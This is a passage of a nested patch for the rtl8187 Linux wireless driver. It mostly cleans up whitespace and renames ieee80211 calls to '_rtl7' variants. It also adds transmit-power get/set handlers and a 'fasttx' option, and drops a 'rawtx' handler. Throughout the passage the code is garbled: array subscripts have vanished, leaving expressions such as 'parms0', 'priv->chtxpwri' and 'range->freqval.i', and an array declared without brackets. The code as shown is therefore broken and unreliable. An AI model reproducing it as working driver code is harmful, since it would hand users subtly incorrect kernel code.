++	write_phy_cck(dev, 0x1b, 0x8); mdelay(1);
++	write_phy_cck(dev, 0x1d, 0x0); mdelay(1);
++	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1);
++	write_phy_cck(dev, 0x41, 0x9d); mdelay(1);
++
++
++// 	write_phy_cck(dev, 0x41, 0x8d);mdelay(1);
++
++
+ 	write_phy_cck(dev, 0x42, 0x15); mdelay(1);
+ 	write_phy_cck(dev, 0x43, 0x18); mdelay(1);
+-	
+-	
++
++
+ 	write_phy_cck(dev, 0x44, 0x36); mdelay(1);
+ 	write_phy_cck(dev, 0x45, 0x35); mdelay(1);
+ 	write_phy_cck(dev, 0x46, 0x2e); mdelay(1);
+ 	write_phy_cck(dev, 0x47, 0x25); mdelay(1);
+ 	write_phy_cck(dev, 0x48, 0x1c); mdelay(1);
+ 	write_phy_cck(dev, 0x49, 0x12); mdelay(1);
+-	write_phy_cck(dev, 0x4a, 0x9); mdelay(1);
+-	write_phy_cck(dev, 0x4b, 0x4); mdelay(1);
++	write_phy_cck(dev, 0x4a, 0x09); mdelay(1);
++	write_phy_cck(dev, 0x4b, 0x04); mdelay(1);
+ 	write_phy_cck(dev, 0x4c, 0x5);mdelay(1);
+ 
+ 
+ 	write_nic_byte(dev, 0x5b, 0x0d); mdelay(1);
+ 
+-	
++
+ 
+ // <>
+ //	// TESTR 0xb 8187
+ //	write_phy_cck(dev, 0x10, 0x93);// & 0xfb);
+-//	
++//
+ //	//if(priv->card_type != USB){
+ //		write_phy_ofdm(dev, 0x2, 0x62);
+ //		write_phy_ofdm(dev, 0x6, 0x0);
+ //		write_phy_ofdm(dev, 0x8, 0x0);
+ //	//}
+-	
++
+ 	rtl8225z2_SetTXPowerLevel(dev, channel);
+-	
++
+ 	write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */
+ 	write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */
+-	
++
+ 	rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */
+-	
+-	/* switch to high-speed 3-wire 
++
++	/* switch to high-speed 3-wire
+ 	 * last digit. 2 for both cck and ofdm
+ 	 */
+ 	if(priv->card_type == USB)
+@@ -943,23 +979,23 @@
+ //	if(priv->card_type != USB)
+ //	rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <>
+ //	 rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <>
+-//	
++//
+ //	/* make sure is waken up! */
+ //	write_rtl8225(dev,0x4, 0x9ff);
+-//	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); 
++//	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ //	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ 	rtl8225_rf_set_chan(dev, priv->chan);
+ 
+ 	//write_nic_word(dev,BRSR,brsr);
+-	
++
+ 	//rtl8225z2_rf_set_mode(dev);
+ }
+ 
+-void rtl8225z2_rf_set_mode(struct net_device *dev) 
++void rtl8225z2_rf_set_mode(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	if(priv->ieee80211->mode == IEEE_A)
+ 	{
+ 		write_rtl8225(dev, 0x5, 0x1865);
+@@ -970,15 +1006,15 @@
+ 		write_phy_ofdm(dev, 0xb, 0x99);
+ 		write_phy_ofdm(dev, 0xf, 0x20);
+ 		write_phy_ofdm(dev, 0x11, 0x7);
+-		
++
+ 		rtl8225z2_set_gain(dev,4);
+-		
++
+ 		write_phy_ofdm(dev,0x15, 0x40);
+ 		write_phy_ofdm(dev,0x17, 0x40);
+-	
++
+ 		write_nic_dword(dev, 0x94,0x10000000);
+ 	}else{
+-	
++
+ 		write_rtl8225(dev, 0x5, 0x1864);
+ 		write_nic_dword(dev, RF_PARA, 0x10044);
+ 		write_nic_dword(dev, RF_TIMING, 0xa8008);
+@@ -987,12 +1023,12 @@
+ 		write_phy_ofdm(dev, 0xb, 0x99);
+ 		write_phy_ofdm(dev, 0xf, 0x20);
+ 		write_phy_ofdm(dev, 0x11, 0x7);
+-		
++
+ 		rtl8225z2_set_gain(dev,4);
+-		
++
+ 		write_phy_ofdm(dev,0x15, 0x40);
+ 		write_phy_ofdm(dev,0x17, 0x40);
+-	
++
+ 		write_nic_dword(dev, 0x94,0x04000002);
+ 	}
+ }
+diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c
+--- rtl8187_orig/beta-8187/r8180_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_wx.c	2007-06-21 23:44:42.000000000 +0200
+@@ -1,19 +1,19 @@
+-/* 
++/*
+    This file contains wireless extension handlers.
+ 
+    This is part of rtl8180 OpenSource driver.
+-   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public Licence)
+-   
+-   Parts of this driver are based on the GPL part 
++
++   Parts of this driver are based on the GPL part
+    of the official realtek driver.
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon.
+ 
+    Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver.
+-   
+-   We want to tanks the Authors of those projects and the Ndiswrapper 
++
++   We want to tanks the Authors of those projects and the Ndiswrapper
+    project Authors.
+ */
+ 
+@@ -21,20 +21,21 @@
+ 
+ #include "r8187.h"
+ #include "r8180_hw.h"
++#include "r8180_rtl8225.h"
+ 
+ 
+ #define RATE_COUNT 4
+ u32 rtl8180_rates = {1000000,2000000,5500000,11000000,
+ 	6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000};
+-	
++
+ 
+ static int r8180_wx_get_freq(struct net_device *dev,
+ 			     struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b);
+ }
+ 
+ 
+@@ -45,28 +46,28 @@
+ {
+ 	int *parms = (int *)b;
+ 	int bi = parms0;
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+ 	DMESG("setting beacon interval to %x",bi);
+-	
++
+ 	priv->ieee80211->beacon_interval=bi;
+ 	rtl8180_commit(dev);
+ 	up(&priv->wx_sem);
+-		
+-	return 0;	
++
++	return 0;
+ }
+ 
+ 
+ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa,
+ 			  union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv=ieee80211_priv(dev);	
++	struct r8180_priv *priv=ieee80211_priv_rtl7(dev);
+ 	int *parms = (int *)extra;
+-	
++
+ 	priv->ieee80211->force_associate = (parms0 > 0);
+-	
++
+ 
+ 	return 0;
+ }
+@@ -75,108 +76,186 @@
+ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv=ieee80211_priv(dev);	
++	struct r8180_priv *priv=ieee80211_priv_rtl7(dev);
+ 
+-	return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b);
++	return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b);
+ }
+ 
+ 
+ 
+-static int r8180_wx_get_rate(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_rate(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra);
+ }
+ 
+ 
+ 
+-static int r8180_wx_set_rate(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_set_rate(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);	
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
++	ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra);
+ 
+-	ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra);
+-	
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+-static int r8180_wx_set_rawtx(struct net_device *dev, 
+-			       struct iw_request_info *info, 
+-			       union iwreq_data *wrqu, char *extra)
++static int r8180_wx_get_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	int ret;
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	int i=0;
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra);
+-	
++	wrqu->power.value = 0;
++	for(i=0; i<15; i++)
++	{
++		if(priv->chtxpwri > wrqu->power.value) wrqu->power.value = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdmi;
++	}
++	wrqu->power.fixed = 1;
++	wrqu->power.flags = IW_TXPOW_DBM;
++	wrqu->power.disabled = 0;
+ 	up(&priv->wx_sem);
+-	
++
++	return 0;
++}
++
++#if 1
++static int r8180_wx_set_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
++{
++	int ret = 0, i=0;
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	down(&priv->wx_sem);
++
++	if (wrqu->power.flags != IW_TXPOW_DBM)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value > priv->txpwr_max)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value < 0)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	for(i=1;i<15;i++)
++	{
++		priv->chtxpwri = priv->chtxpwr_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwri > priv->chtxpwr_origi) priv->chtxpwri = 0;
++
++		priv->chtxpwr_ofdmi = priv->chtxpwr_ofdm_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwr_ofdmi > priv->chtxpwr_ofdm_origi) priv->chtxpwr_ofdmi = 0;
++	}
++	rtl8225z2_SetTXPowerLevel(dev, 1);
++
++	out:
++	up(&priv->wx_sem);
++
+ 	return ret;
+-	 
++
+ }
++#endif
+ 
+-static int r8180_wx_set_crcmon(struct net_device *dev, 
+-			       struct iw_request_info *info, 
++static int r8180_wx_set_crcmon(struct net_device *dev,
++			       struct iw_request_info *info,
+ 			       union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int *parms = (int *)extra;
+ 	int enable = (parms0 > 0);
+ 	short prev = priv->crcmon;
+ 
+ 	down(&priv->wx_sem);
+-	
+-	if(enable) 
++
++	if(enable)
+ 		priv->crcmon=1;
+-	else 
++	else
+ 		priv->crcmon=0;
+ 
+-	DMESG("bad CRC in monitor mode are %s", 
++	DMESG("bad CRC in monitor mode are %s",
+ 	      priv->crcmon ? "accepted" : "rejected");
+ 
+ 	if(prev != priv->crcmon && priv->up){
+ 		rtl8180_down(dev);
+ 		rtl8180_up(dev);
+ 	}
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
++	return 0;
++}
++
++static int r8180_wx_set_fasttx(struct net_device *dev,
++			       struct iw_request_info *info,
++			       union iwreq_data *wrqu, char *extra)
++{
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	int *parms = (int *)extra;
++	int enable = (parms0 > 0);
++	short prev = priv->fasttx;
++
++	down(&priv->wx_sem);
++
++	if(enable)
++		priv->fasttx=1;
++	else
++		priv->fasttx=0;
++
++	DMESG("Transmission method (regarding speed) set to: %s",
++	      priv->fasttx ? "fast" : "normal");
++
++	if(prev != priv->fasttx && priv->up){
++		rtl8180_down(dev);
++		rtl8180_up(dev);
++	}
++
++	up(&priv->wx_sem);
++
+ 	return 0;
+ }
+ 
+ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	rtl8187_set_rxconf(dev);
+-	
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+ 
+-static int rtl8180_wx_get_range(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int rtl8180_wx_get_range(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+ 	struct iw_range *range = (struct iw_range *)extra;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	u16 val;
+ 	int i;
+ 
+@@ -186,26 +265,26 @@
+ 	/* Let's try to keep this struct in the same order as in
+ 	 * linux/include/wireless.h
+ 	 */
+-	
++
+ 	/* TODO: See what values we can set, and remove the ones we can't
+ 	 * set, or fill them with some default data.
+ 	 */
+ 
+ 	/* ~5 Mb/s real (802.11b) */
+-	range->throughput = 5 * 1000 * 1000;     
++	range->throughput = 5 * 1000 * 1000;
+ 
+ 	// TODO: Not used in 802.11b?
+ //	range->min_nwid;	/* Minimal NWID we are able to set */
+ 	// TODO: Not used in 802.11b?
+ //	range->max_nwid;	/* Maximal NWID we are able to set */
+-	
++
+         /* Old Frequency (backward compat - moved lower ) */
+-//	range->old_num_channels; 
++//	range->old_num_channels;
+ //	range->old_num_frequency;
+ //	range->old_freq6; /* Filler to keep "version" at the same offset */
+ 	if(priv->rf_set_sens != NULL)
+ 		range->sensitivity = priv->max_sens;	/* signal level threshold range */
+-	
++
+ 	range->max_qual.qual = 100;
+ 	/* TODO: Find real max RSSI and stick here */
+ 	range->max_qual.level = 0;
+@@ -219,14 +298,14 @@
+ 	range->avg_qual.updated = 7; /* Updated all three */
+ 
+ 	range->num_bitrates = RATE_COUNT;
+-	
++
+ 	for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) {
+ 		range->bitratei = rtl8180_ratesi;
+ 	}
+-	
++
+ 	range->min_frag = MIN_FRAG_THRESHOLD;
+ 	range->max_frag = MAX_FRAG_THRESHOLD;
+-	
++
+ 	range->pm_capa = 0;
+ 
+ 	range->we_version_compiled = WIRELESS_EXT;
+@@ -243,18 +322,18 @@
+         range->num_channels = 14;
+ 
+ 	for (i = 0, val = 0; i < 14; i++) {
+-		
++
+ 		// Include only legal frequencies for some countries
+ 		if ((priv->challow)i+1) {
+ 		        range->freqval.i = i + 1;
+-			range->freqval.m = ieee80211_wlan_frequenciesi * 100000;
++			range->freqval.m = ieee80211_wlan_frequencies_rtl7i * 100000;
+ 			range->freqval.e = 1;
+ 			val++;
+ 		} else {
+ 			// FIXME: do we need to set anything for channels
+ 			// we don't use ?
+ 		}
+-		
++
+ 		if (val == IW_MAX_FREQUENCIES)
+ 		break;
+ 	}
+@@ -267,15 +346,15 @@
+ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	if(!priv->up) return -1;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+@@ -286,50 +365,50 @@
+ {
+ 
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	if(!priv->up) return -1;
+-			
++
+ 	down(&priv->wx_sem);
+ 
+-	ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b);
+-		
++	ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+ 
+-static int r8180_wx_set_essid(struct net_device *dev, 
++static int r8180_wx_set_essid(struct net_device *dev,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+ 
+-static int r8180_wx_get_essid(struct net_device *dev, 
++static int r8180_wx_get_essid(struct net_device *dev,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b);
++
++	ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b);
+ 
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+@@ -338,30 +417,30 @@
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b);
+-	
++
++	ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+-static int r8180_wx_get_name(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_name(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra);
+ }
+ 
+ 
+-static int r8180_wx_set_frag(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_set_frag(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (wrqu->frag.disabled)
+ 		priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD;
+@@ -369,7 +448,7 @@
+ 		if (wrqu->frag.value < MIN_FRAG_THRESHOLD ||
+ 		    wrqu->frag.value > MAX_FRAG_THRESHOLD)
+ 			return -EINVAL;
+-		
++
+ 		priv->ieee80211->fts = wrqu->frag.value & ~0x1;
+ 	}
+ 
+@@ -377,11 +456,11 @@
+ }
+ 
+ 
+-static int r8180_wx_get_frag(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_frag(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	wrqu->frag.value = priv->ieee80211->fts;
+ 	wrqu->frag.fixed = 0;	/* no auto select */
+@@ -397,49 +476,49 @@
+ 			 char *extra)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra);
+-	
++
++	ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+-	
++
+ }
+-	
+ 
+-static int r8180_wx_get_wap(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++
++static int r8180_wx_get_wap(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra);
+ }
+ 
+ 
+-static int r8180_wx_get_enc(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++static int r8180_wx_get_enc(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *key)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key);
+ }
+ 
+-static int r8180_wx_set_enc(struct net_device *dev, 
+-			    struct iw_request_info *info, 
++static int r8180_wx_set_enc(struct net_device *dev,
++			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *key)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 		DMESG("Setting SW wep key");
+-		ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key);
+-			
++		ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key);
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+@@ -447,28 +526,28 @@
+ 
+ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union
+  iwreq_data *wrqu, char *p){
+-  
+- 	struct r8180_priv *priv = ieee80211_priv(dev);
++
++ 	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int *parms=(int*)p;
+ 	int mode=parms0;
+-	
++
+ 	priv->ieee80211->active_scan = mode;
+-	
++
+ 	return 1;
+ }
+ 
+ 
+ 
+-static int r8180_wx_set_retry(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_set_retry(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int err = 0;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	if (wrqu->retry.flags & IW_RETRY_LIFETIME || 
++
++	if (wrqu->retry.flags & IW_RETRY_LIFETIME ||
+ 	    wrqu->retry.disabled){
+ 		err = -EINVAL;
+ 		goto exit;
+@@ -485,13 +564,13 @@
+ 	if (wrqu->retry.flags & IW_RETRY_MAX) {
+ 		priv->retry_rts = wrqu->retry.value;
+ 		DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value);
+-	
++
+ 	}else {
+ 		priv->retry_data = wrqu->retry.value;
+ 		DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value);
+ 	}
+-	
+-	/* FIXME ! 
++
++	/* FIXME !
+ 	 * We might try to write directly the TX config register
+ 	 * or to restart just the (R)TX process.
+ 	 * I'm unsure if whole reset is really needed
+@@ -503,28 +582,28 @@
+ 		rtl8180_rtx_disable(dev);
+ 		rtl8180_rx_enable(dev);
+ 		rtl8180_tx_enable(dev);
+-			
++
+ 	}
+ 	*/
+ exit:
+ 	up(&priv->wx_sem);
+-	
++
+ 	return err;
+ }
+ 
+-static int r8180_wx_get_retry(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_get_retry(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 
+ 	wrqu->retry.disabled = 0; /* can't be disabled */
+ 
+-	if ((wrqu->retry.flags & IW_RETRY_TYPE) == 
+-	    IW_RETRY_LIFETIME) 
++	if ((wrqu->retry.flags & IW_RETRY_TYPE) ==
++	    IW_RETRY_LIFETIME)
+ 		return -EINVAL;
+-	
++
+ 	if (wrqu->retry.flags & IW_RETRY_MAX) {
+ 		wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX;
+ 		wrqu->retry.value = priv->retry_rts;
+@@ -533,30 +612,30 @@
+ 		wrqu->retry.value = priv->retry_data;
+ 	}
+ 	//DMESG("returning %d",wrqu->retry.value);
+-	
++
+ 
+ 	return 0;
+ }
+ 
+-static int r8180_wx_get_sens(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_get_sens(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	if(priv->rf_set_sens == NULL) 
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	if(priv->rf_set_sens == NULL)
+ 		return -1; /* we have not this support for this radio */
+ 	wrqu->sens.value = priv->sens;
+ 	return 0;
+ }
+ 
+ 
+-static int r8180_wx_set_sens(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int r8180_wx_set_sens(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	short err = 0;
+ 	down(&priv->wx_sem);
+ 	//DMESG("attempt to set sensivity to %ddb",wrqu->sens.value);
+@@ -571,7 +650,7 @@
+ 
+ exit:
+ 	up(&priv->wx_sem);
+-	
++
+ 	return err;
+ }
+ 
+@@ -623,50 +702,49 @@
+         dummy,                    /* SIOCGIWRTS */
+         r8180_wx_set_frag,        /* SIOCSIWFRAG */
+         r8180_wx_get_frag,        /* SIOCGIWFRAG */
+-        dummy,                    /* SIOCSIWTXPOW */
+-        dummy,                    /* SIOCGIWTXPOW */
++        r8180_wx_set_txpow,       /* SIOCSIWTXPOW */
++        r8180_wx_get_txpow,       /* SIOCGIWTXPOW */
+         r8180_wx_set_retry,       /* SIOCSIWRETRY */
+         r8180_wx_get_retry,       /* SIOCGIWRETRY */
+         r8180_wx_set_enc,         /* SIOCSIWENCODE */
+         r8180_wx_get_enc,         /* SIOCGIWENCODE */
+         dummy,                    /* SIOCSIWPOWER */
+         dummy,                    /* SIOCGIWPOWER */
+-}; 
++};
+ 
+ 
+-static const struct iw_priv_args r8180_private_args = { 
+-	
++static const struct iw_priv_args r8180_private_args = {
+ 	{
+-		SIOCIWFIRSTPRIV + 0x0, 
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" 
+-	}, 
+-	
++		SIOCIWFIRSTPRIV + 0x0,
++		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx"
++	},
++
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x1,
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan"
+-	
++		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc"
+ 	},
++
+ 	{
+-		SIOCIWFIRSTPRIV + 0x2, 
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" 
++		SIOCIWFIRSTPRIV + 0x2,
++		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan"
++
+ 	}
+ };
+ 
+ 
+ static iw_handler r8180_private_handler = {
+-//	r8180_wx_set_monitor,  /* SIOCIWFIRSTPRIV */
++	r8180_wx_set_fasttx,   /* SIOCIWFIRSTPRIV */
+ 	r8180_wx_set_crcmon,   /*SIOCIWSECONDPRIV*/
+ //	r8180_wx_set_forceassociate,
+ //	r8180_wx_set_beaconinterval,
+ //	r8180_wx_set_monitor_type,
+ 	r8180_wx_set_scan_type,
+-	r8180_wx_set_rawtx,
+ };
+ 
+-#if WIRELESS_EXT >= 17	
++#if WIRELESS_EXT >= 17
